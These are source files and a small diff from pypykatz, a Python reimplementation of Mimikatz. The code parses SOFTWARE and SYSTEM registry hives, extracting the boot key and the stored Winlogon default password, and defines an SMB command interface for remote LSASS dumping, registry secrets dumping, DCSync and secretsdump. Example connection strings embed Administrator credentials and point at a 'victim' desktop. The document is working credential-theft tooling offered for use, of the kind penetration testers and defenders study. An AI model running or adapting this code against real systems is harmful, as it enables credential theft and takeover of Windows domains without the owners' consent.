41 | 41 | def sha256_multi(key, value, rounds = 1000): |
42 | 42 | ctx = hashlib.sha256(key) |
43 | for i in range(rounds): | |
43 | for _ in range(rounds): | |
44 | 44 | ctx.update(value) |
45 | 45 | return ctx.digest() |
46 | 46 | |
108 | 108 | def get_NKLM_key(self): |
109 | 109 | logger.debug('[SECURITY] Fetching NK$LM key...') |
110 | 110 | if self.lsa_key is None: |
111 | self.get_lsa_secret_key() | |
111 | self.get_lsa_key() | |
112 | 112 | |
113 | 113 | value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') |
114 | 114 | if value is None: |
156 | 156 | if b'NL$IterationCount' in values: |
157 | 157 | logger.debug('[SECURITY] DCC Setting iteration count') |
158 | 158 | values.remove(b'NL$IterationCount') |
159 | record = self.getValue('Cache\\NL$IterationCount')[1] | |
159 | record = self.hive.get_value('Cache\\NL$IterationCount')[1] | |
160 | 160 | if record > 10240: |
161 | 161 | self.dcc_iteration_count = record & 0xfffffc00 |
162 | 162 | else: |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ##### | |
7 | from pypykatz.registry import logger | |
8 | ||
9 | ||
10 | class SOFTWARE: | |
11 | def __init__(self, sam_hive, bootkey): | |
12 | self.hive = sam_hive | |
13 | self.bootkey = bootkey | |
14 | self.default_logon_user = None | |
15 | self.default_logon_domain = None | |
16 | self.default_logon_password = None | |
17 | ||
18 | async def get_default_logon(self): | |
19 | if self.default_logon_user is None: | |
20 | try: | |
21 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName') | |
22 | data = data[1] | |
23 | except: | |
24 | pass | |
25 | else: | |
26 | if isinstance(data, bytes): | |
27 | self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] | |
28 | else: | |
29 | self.default_logon_user = data | |
30 | ||
31 | if self.default_logon_domain is None: | |
32 | try: | |
33 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName') | |
34 | data = data[1] | |
35 | except: | |
36 | pass | |
37 | else: | |
38 | if isinstance(data, bytes): | |
39 | self.default_logon_domain = data.decode('utf-16-le') | |
40 | else: | |
41 | self.default_logon_domain = data | |
42 | ||
43 | if self.default_logon_password is None: | |
44 | try: | |
45 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword') | |
46 | data = data[1] | |
47 | except: | |
48 | pass | |
49 | else: | |
50 | if isinstance(data, bytes): | |
51 | self.default_logon_password = data.decode('utf-16-le') | |
52 | else: | |
53 | self.default_logon_password = data | |
54 | ||
55 | return self.default_logon_user | |
56 | ||
57 | def to_dict(self): | |
58 | t = {} | |
59 | t['default_logon_user'] = self.default_logon_user | |
60 | t['default_logon_domain'] = self.default_logon_domain | |
61 | t['default_logon_password'] = self.default_logon_password | |
62 | return t | |
63 | ||
64 | def __str__(self): | |
65 | t = '============== SOFTWARE hive secrets ==============\r\n' | |
66 | t += 'default_logon_user: %s\r\n' % self.default_logon_user | |
67 | return t |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | from pypykatz.registry import logger | |
6 | from pypykatz.commons.common import hexdump | |
7 | ||
8 | # | |
9 | # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. | |
10 | # Without having the BootKey no decryption can be performed on any of the secrets, | |
11 | # therefore it is mandatory to supply this hive. | |
12 | # | |
13 | # The way to obtain the BootKey is quite straightforward. | |
14 | # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) | |
15 | # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. | |
16 | # we read the Class attribute of these keys and de-obfuscate the key | |
17 | # | |
18 | ||
19 | class SYSTEM: | |
20 | def __init__(self, system_hive): | |
21 | self.hive = system_hive | |
22 | self.currentcontrol = None | |
23 | self.bootkey = None | |
24 | ||
25 | async def get_currentcontrol(self): | |
26 | logger.debug('[SYSTEM] determining current control set') | |
27 | if self.currentcontrol is not None: | |
28 | return self.currentcontrol | |
29 | ||
30 | ccs = await self.hive.get_value('Select\\Current') | |
31 | ccs = ccs[1] | |
32 | self.currentcontrol = "ControlSet%03d" % ccs | |
33 | logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) | |
34 | return self.currentcontrol | |
35 | ||
36 | async def get_bootkey(self): | |
37 | logger.debug('[SYSTEM] get_bootkey invoked') | |
38 | if self.bootkey is not None: | |
39 | return self.bootkey | |
40 | if self.currentcontrol is None: | |
41 | await self.get_currentcontrol() | |
42 | ||
43 | transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] | |
44 | bootkey_obf = '' | |
45 | for key in ['JD', 'Skew1', 'GBG', 'Data']: | |
46 | bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) | |
47 | ||
48 | bootkey_obf = bytes.fromhex(bootkey_obf) | |
49 | self.bootkey = b'' | |
50 | for i in range(len(bootkey_obf)): | |
51 | self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] | |
52 | ||
53 | logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) | |
54 | return self.bootkey | |
55 | ||
56 | async def get_secrets(self): | |
57 | await self.get_currentcontrol() | |
58 | await self.get_bootkey() | |
59 | ||
60 | def to_dict(self): | |
61 | t = {} | |
62 | t['CurrentControlSet'] = self.currentcontrol | |
63 | t['BootKey'] = self.bootkey | |
64 | return t | |
65 | ||
66 | def __str__(self): | |
67 | t = '============== SYSTEM hive secrets ==============\r\n' | |
68 | t += 'CurrentControlSet: %s\r\n' % self.currentcontrol | |
69 | t += 'Boot Key: %s\r\n' % self.bootkey.hex() | |
70 | return t |
0 | ||
1 | ||
2 | #!/usr/bin/env python3 | |
3 | # | |
4 | # Author: | |
5 | # Tamas Jos (@skelsec) | |
6 | # | |
7 | ||
8 | import os | |
9 | import json | |
10 | import ntpath | |
11 | import platform | |
12 | import argparse | |
13 | import base64 | |
14 | import traceback | |
15 | ||
16 | from pypykatz import logging | |
17 | from pypykatz.commons.common import UniversalEncoder | |
18 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession | |
19 | import asyncio | |
20 | ||
21 | """ | |
22 | This is a wrapper for aiosmb | |
23 | """ | |
24 | ||
25 | class SMBCMDArgs: | |
26 | def __init__(self): | |
27 | self.smb_url = None | |
28 | self.verbose = 0 | |
29 | self.silent = True | |
30 | self.smb_url = None | |
31 | self.no_interactive = False | |
32 | self.commands = ['login', 'i'] | |
33 | ||
34 | smb_live_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" ' | |
35 | class SMBCMDHelper: | |
36 | def __init__(self): | |
37 | self.live_keywords = ['smb'] | |
38 | self.keywords = ['smb'] | |
39 | ||
40 | def add_args(self, parser, live_parser): | |
41 | smb_group = parser.add_parser('smb', help='SMB related commands') | |
42 | smb_subparsers = smb_group.add_subparsers() | |
43 | smb_subparsers.required = True | |
44 | smb_subparsers.dest = 'smb_module' | |
45 | ||
46 | smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
47 | smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
48 | smb_console_group.add_argument('url', help="SMB connection string") | |
49 | smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
50 | ||
51 | smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.') | |
52 | smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'") | |
53 | smb_lsassfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
54 | smb_lsassfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
55 | smb_lsassfile_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
56 | smb_lsassfile_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
57 | smb_lsassfile_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
58 | smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
59 | ||
60 | ||
61 | smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.') | |
62 | smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") | |
63 | smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format') | |
64 | smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
65 | smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
66 | smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
67 | smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
68 | smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
69 | smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
70 | ||
71 | ||
72 | ||
73 | smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps') | |
74 | smb_regfile_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/'") | |
75 | smb_regfile_group.add_argument('system', help='path to the SYSTEM registry hive') | |
76 | smb_regfile_group.add_argument('--sam', help='path to the SAM registry hive') | |
77 | smb_regfile_group.add_argument('--security', help='path to the SECURITY registry hive') | |
78 | smb_regfile_group.add_argument('--software', help='path to the SOFTWARE registry hive') | |
79 | smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
80 | smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
81 | ||
82 | smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets') | |
83 | smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'") | |
84 | smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
85 | smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
86 | ||
87 | smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync') | |
88 | smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
89 | smb_dcsync_group.add_argument('-u', '--username', help='taget username') | |
90 | smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') | |
91 | ||
92 | smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump') | |
93 | smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'") | |
94 | smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
95 | smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
96 | smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
97 | smb_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
98 | smb_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') | |
99 | smb_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
100 | ||
101 | ||
102 | ||
103 | smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator') | |
104 | smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
105 | smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
106 | smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
107 | smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") | |
108 | smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") | |
109 | smb_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders") | |
110 | smb_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files") | |
111 | smb_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
112 | smb_shareenum_parser.add_argument('-l', '--ldap', help="Use LDAP to get a list of machines to enumerate. This will return dns names so be carefule to have a correct DNS server config!") | |
113 | smb_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!") | |
114 | smb_shareenum_parser.add_argument('-o','--out-file', help="Output file") | |
115 | smb_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON") | |
116 | smb_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV") | |
117 | smb_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used") | |
118 | smb_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)") | |
119 | smb_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified') | |
120 | smb_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') | |
121 | smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') | |
122 | smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration') | |
123 | ||
124 | ||
125 | ||
126 | ||
127 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
128 | live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') | |
129 | live_smb_subparsers.required = True | |
130 | live_smb_subparsers.dest = 'livesmbcommand' | |
131 | ||
132 | live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') | |
133 | live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
134 | live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
135 | live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
136 | live_console_parser.add_argument('host', help='Target host to connect to') | |
137 | live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
138 | ||
139 | ||
140 | live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.') | |
141 | live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
142 | live_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
143 | live_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
144 | live_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") | |
145 | live_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") | |
146 | live_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders") | |
147 | live_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files") | |
148 | live_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") | |
149 | live_shareenum_parser.add_argument('--skip-ldap', action='store_true', help="Skip fetching target hosts via LDAP") | |
150 | live_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!") | |
151 | live_shareenum_parser.add_argument('-o','--out-file', help="Output file") | |
152 | live_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON") | |
153 | live_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV") | |
154 | live_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used") | |
155 | live_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)") | |
156 | live_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified') | |
157 | live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') | |
158 | live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') | |
159 | ||
160 | ||
161 | live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser]) | |
162 | ||
163 | ||
164 | def execute(self, args): | |
165 | if args.command in self.keywords: | |
166 | asyncio.run(self.run(args)) | |
167 | ||
168 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
169 | asyncio.run(self.run_live(args)) | |
170 | ||
171 | ||
172 | async def run_live(self, args): | |
173 | if platform.system().lower() != 'windows': | |
174 | raise Exception('Live commands only work on Windows!') | |
175 | ||
176 | from aiosmb import logger as smblog | |
177 | ||
178 | if args.verbose == 0: | |
179 | smblog.setLevel(100) | |
180 | elif args.verbose == 1: | |
181 | smblog.setLevel(level=logging.INFO) | |
182 | else: | |
183 | level = 5 - args.verbose | |
184 | smblog.setLevel(level=level) | |
185 | ||
186 | if args.livesmbcommand == 'console': | |
187 | from aiosmb.examples.smbclient import amain | |
188 | from winacl.functions.highlevel import get_logon_info | |
189 | info = get_logon_info() | |
190 | la = SMBCMDArgs() | |
191 | la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
192 | la.verbose = args.verbose | |
193 | ||
194 | if args.commands is not None and len(args.commands) > 0: | |
195 | la.commands = [] | |
196 | if args.commands[0] == 'help': | |
197 | la.commands = ['help'] | |
198 | else: | |
199 | if args.commands[0] != 'login': | |
200 | la.commands.append('login') | |
201 | ||
202 | for command in args.commands: | |
203 | la.commands.append(command) | |
204 | ||
205 | await amain(la) | |
206 | ||
207 | elif args.livesmbcommand == 'shareenum': | |
208 | from pypykatz.smb.shareenum import shareenum | |
209 | ||
210 | output_type = 'str' | |
211 | if args.json is True: | |
212 | output_type = 'json' | |
213 | if args.tsv is True: | |
214 | output_type = 'tsv' | |
215 | ||
216 | exclude_share = [] | |
217 | if args.es is not None: | |
218 | exclude_share = args.es | |
219 | ||
220 | exclude_dir = [] | |
221 | if args.ed is not None: | |
222 | exclude_dir = args.ed | |
223 | ||
224 | ldap_url = 'auto' | |
225 | if args.skip_ldap is True: | |
226 | ldap_url = None | |
227 | ||
228 | exclude_target = [] | |
229 | if args.et is not None: | |
230 | exclude_target = args.et | |
231 | ||
232 | await shareenum( | |
233 | smb_url = 'auto', | |
234 | targets = args.target, | |
235 | smb_worker_count = args.worker_count, | |
236 | depth = args.depth, | |
237 | out_file = args.out_file, | |
238 | progress = args.progress, | |
239 | max_items = args.maxitems, | |
240 | dirsd = args.dirsd, | |
241 | filesd = args.filesd, | |
242 | authmethod = args.authmethod, | |
243 | protocol_version = args.protocol_version, | |
244 | output_type = output_type, | |
245 | max_runtime = args.max_runtime, | |
246 | exclude_share = exclude_share, | |
247 | exclude_dir = exclude_dir, | |
248 | ldap_url = ldap_url, | |
249 | exclude_target = exclude_target, | |
250 | ) | |
251 | ||
252 | ||
253 | async def run(self, args): | |
254 | ||
255 | from aiosmb import logger as smblog | |
256 | ||
257 | if args.verbose == 0: | |
258 | smblog.setLevel(100) | |
259 | elif args.verbose == 1: | |
260 | smblog.setLevel(level=logging.INFO) | |
261 | else: | |
262 | level = 5 - args.verbose | |
263 | smblog.setLevel(level=level) | |
264 | ||
265 | if args.smb_module == 'lsassfile': | |
266 | from pypykatz.smb.lsassutils import lsassfile | |
267 | mimi = await lsassfile(args.url, chunksize=args.chunksize, packages=args.packages) | |
268 | self.process_results({'smbfile':mimi}, [], args) | |
269 | ||
270 | elif args.smb_module == 'lsassdump': | |
271 | from pypykatz.smb.lsassutils import lsassdump | |
272 | mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages) | |
273 | self.process_results({'smbfile':mimi}, [], args) | |
274 | ||
275 | elif args.smb_module == 'secretsdump': | |
276 | from pypykatz.smb.lsassutils import lsassdump | |
277 | from pypykatz.smb.regutils import regdump | |
278 | from pypykatz.smb.dcsync import dcsync | |
279 | ||
280 | try: | |
281 | mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages) | |
282 | if mimi is not None: | |
283 | self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') | |
284 | except Exception as e: | |
285 | logging.exception('[SECRETSDUMP] Failed to get LSASS secrets') | |
286 | ||
287 | try: | |
288 | po = await regdump(args.url) | |
289 | if po is not None: | |
290 | if args.outfile: | |
291 | po.to_file(args.outfile+'_registry.txt', args.json) | |
292 | else: | |
293 | if args.json: | |
294 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
295 | else: | |
296 | print(str(po)) | |
297 | except Exception as e: | |
298 | logging.exception('[SECRETSDUMP] Failed to get registry secrets') | |
299 | ||
300 | ||
301 | try: | |
302 | if args.outfile is not None: | |
303 | outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') | |
304 | ||
305 | async for secret in dcsync(args.url): | |
306 | if args.outfile is not None: | |
307 | outfile.write(str(secret)) | |
308 | else: | |
309 | print(str(secret)) | |
310 | ||
311 | except Exception as e: | |
312 | logging.exception('[SECRETSDUMP] Failed to perform DCSYNC') | |
313 | finally: | |
314 | if args.outfile is not None: | |
315 | outfile.close() | |
316 | ||
317 | elif args.smb_module == 'dcsync': | |
318 | from pypykatz.smb.dcsync import dcsync | |
319 | ||
320 | if args.outfile is not None: | |
321 | outfile = open(args.outfile, 'w', newline = '') | |
322 | ||
323 | async for secret in dcsync(args.url, args.username): | |
324 | if args.outfile is not None: | |
325 | outfile.write(str(secret)) | |
326 | else: | |
327 | print(str(secret)) | |
328 | ||
329 | if args.outfile is not None: | |
330 | outfile.close() | |
331 | ||
332 | elif args.smb_module == 'regdump': | |
333 | from pypykatz.smb.regutils import regdump | |
334 | po = await regdump(args.url) | |
335 | ||
336 | if po is not None: | |
337 | if args.outfile: | |
338 | po.to_file(args.outfile, args.json) | |
339 | else: | |
340 | if args.json: | |
341 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
342 | else: | |
343 | print(str(po)) | |
344 | ||
345 | elif args.smb_module == 'regfile': | |
346 | from pypykatz.smb.regutils import regfile | |
347 | po = await regfile(args.url, args.system, sam = args.sam, security = args.security, software = args.software) | |
348 | ||
349 | if po is not None: | |
350 | if args.outfile: | |
351 | po.to_file(args.outfile, args.json) | |
352 | else: | |
353 | if args.json: | |
354 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
355 | else: | |
356 | print(str(po)) | |
357 | ||
358 | elif args.smb_module == 'shareenum': | |
359 | from pypykatz.smb.shareenum import shareenum | |
360 | ||
361 | ||
362 | output_type = 'str' | |
363 | if args.json is True: | |
364 | output_type = 'json' | |
365 | if args.tsv is True: | |
366 | output_type = 'tsv' | |
367 | ||
368 | exclude_share = [] | |
369 | if args.es is not None: | |
370 | exclude_share = args.es | |
371 | ||
372 | exclude_dir = [] | |
373 | if args.ed is not None: | |
374 | exclude_dir = args.ed | |
375 | ||
376 | exclude_target = [] | |
377 | if args.et is not None: | |
378 | exclude_target = args.et | |
379 | ||
380 | ||
381 | await shareenum( | |
382 | args.smb_url, | |
383 | targets = args.target, | |
384 | smb_worker_count = args.worker_count, | |
385 | depth = args.depth, | |
386 | out_file = args.out_file, | |
387 | progress = args.progress, | |
388 | max_items = args.maxitems, | |
389 | dirsd = args.dirsd, | |
390 | filesd = args.filesd, | |
391 | authmethod = args.authmethod, | |
392 | protocol_version = args.protocol_version, | |
393 | output_type = output_type, | |
394 | max_runtime = args.max_runtime, | |
395 | exclude_share = exclude_share, | |
396 | exclude_dir = exclude_dir, | |
397 | ldap_url = args.ldap, | |
398 | exclude_target = exclude_target, | |
399 | ) | |
400 | ||
401 | ||
402 | elif args.smb_module == 'console': | |
403 | from aiosmb.examples.smbclient import amain | |
404 | la = SMBCMDArgs() | |
405 | la.smb_url = args.url | |
406 | la.verbose = args.verbose | |
407 | if args.commands is not None and len(args.commands) > 0: | |
408 | la.commands = [] | |
409 | if args.commands[0] == 'help': | |
410 | la.commands = ['help'] | |
411 | else: | |
412 | if args.commands[0] != 'login': | |
413 | la.commands.append('login') | |
414 | ||
415 | for command in args.commands: | |
416 | la.commands.append(command) | |
417 | ||
418 | await amain(la) | |
419 | ||
420 | def process_results(self, results, files_with_error, args, file_prefix = ''): | |
421 | if args.outfile and args.json: | |
422 | with open(args.outfile+file_prefix, 'w') as f: | |
423 | json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) | |
424 | ||
425 | elif args.outfile and args.grep: | |
426 | with open(args.outfile+file_prefix, 'w', newline = '') as f: | |
427 | f.write(':'.join(LogonSession.grep_header) + '\r\n') | |
428 | for result in results: | |
429 | for luid in results[result].logon_sessions: | |
430 | for row in results[result].logon_sessions[luid].to_grep_rows(): | |
431 | f.write(':'.join(row) + '\r\n') | |
432 | ||
433 | elif args.outfile: | |
434 | with open(args.outfile+file_prefix, 'w') as f: | |
435 | for result in results: | |
436 | f.write('FILE: ======== %s =======\n' % result) | |
437 | ||
438 | for luid in results[result].logon_sessions: | |
439 | f.write('\n'+str(results[result].logon_sessions[luid])) | |
440 | ||
441 | if len(results[result].orphaned_creds) > 0: | |
442 | f.write('\n== Orphaned credentials ==\n') | |
443 | for cred in results[result].orphaned_creds: | |
444 | f.write(str(cred)) | |
445 | ||
446 | if len(files_with_error) > 0: | |
447 | f.write('\n== Failed to parse these files:\n') | |
448 | for filename in files_with_error: | |
449 | f.write('%s\n' % filename) | |
450 | ||
451 | elif args.json: | |
452 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) | |
453 | ||
454 | elif args.grep: | |
455 | print(':'.join(LogonSession.grep_header)) | |
456 | for result in results: | |
457 | for luid in results[result].logon_sessions: | |
458 | for row in results[result].logon_sessions[luid].to_grep_rows(): | |
459 | print(':'.join(row)) | |
460 | for cred in results[result].orphaned_creds: | |
461 | t = cred.to_dict() | |
462 | if t['credtype'] != 'dpapi': | |
463 | if t['password'] is not None: | |
464 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
465 | print(':'.join(x)) | |
466 | else: | |
467 | t = cred.to_dict() | |
468 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
469 | print(':'.join(x)) | |
470 | ||
471 | for pkg, err in results[result].errors: | |
472 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
473 | err_str = base64.b64encode(err_str.encode()).decode() | |
474 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
475 | print(':'.join(x) + '\r\n') | |
476 | else: | |
477 | for result in results: | |
478 | print('FILE: ======== %s =======' % result) | |
479 | if isinstance(results[result], str): | |
480 | print(results[result]) | |
481 | else: | |
482 | for luid in results[result].logon_sessions: | |
483 | print(str(results[result].logon_sessions[luid])) | |
484 | ||
485 | if len(results[result].orphaned_creds) > 0: | |
486 | print('== Orphaned credentials ==') | |
487 | for cred in results[result].orphaned_creds: | |
488 | print(str(cred)) | |
489 | ||
490 | if len(results[result].errors) > 0: | |
491 | print('== Errors ==') | |
492 | for pkg, err in results[result].errors: | |
493 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
494 | err_str = base64.b64encode(err_str.encode()).decode() | |
495 | print('%s %s' % (pkg+'_exception_please_report',err_str)) | |
496 | ||
497 | ||
498 | ||
499 | ||
500 | if len(files_with_error) > 0: | |
501 | print('\n==== Parsing errors:') | |
502 | for filename in files_with_error: | |
503 | print(filename) | |
504 | ||
505 | ||
506 | if args.kerberos_dir: | |
507 | dir = os.path.abspath(args.kerberos_dir) | |
508 | logging.info('Writing kerberos tickets to %s' % dir) | |
509 | for filename in results: | |
510 | base_filename = ntpath.basename(filename) | |
